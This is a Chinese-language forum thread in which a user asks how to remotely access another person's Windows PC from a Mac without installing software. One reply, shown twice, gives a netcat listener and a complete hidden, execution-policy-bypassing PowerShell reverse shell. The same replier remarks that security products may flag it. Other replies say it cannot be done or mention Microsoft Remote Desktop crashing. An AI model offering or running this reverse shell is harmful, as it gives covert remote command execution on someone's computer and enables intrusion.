不安装软件的情况下,mac怎么远程对方win系统
不安装软件的情况下,mac怎么远程对方win系统
MacBook Air 13″, macOS 12.0
不安装软件的情况下,mac怎么远程对方win系统
MacBook Air 13″, macOS 12.0
Mac 上面自帶 netcat, 使用nc監聽 1234 端口,
nc -lv 1234
Windows 上面使用
$source_ip="your mac ip"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("$source_ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
更改上面的 source_ip 為你 Mac 的 ip 地址
Mac 上面自帶 netcat, 使用nc監聽 1234 端口,
nc -lv 1234
Windows 上面使用
$source_ip="your mac ip"
powershell -NoP -NonI -W Hidden -Exec Bypass -Command New-Object System.Net.Sockets.TCPClient("$source_ip",1234);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()
更改上面的 source_ip 為你 Mac 的 ip 地址
无法做到
順便說一下, 最後一種反彈 shell 的方式, 有可能被 EDR/XDR/NGFW 等警告或攔截.
这个好!
您好,我安装了Microsoft remote desktop但是一直闪退
不安装软件的情况下,mac怎么远程对方win系统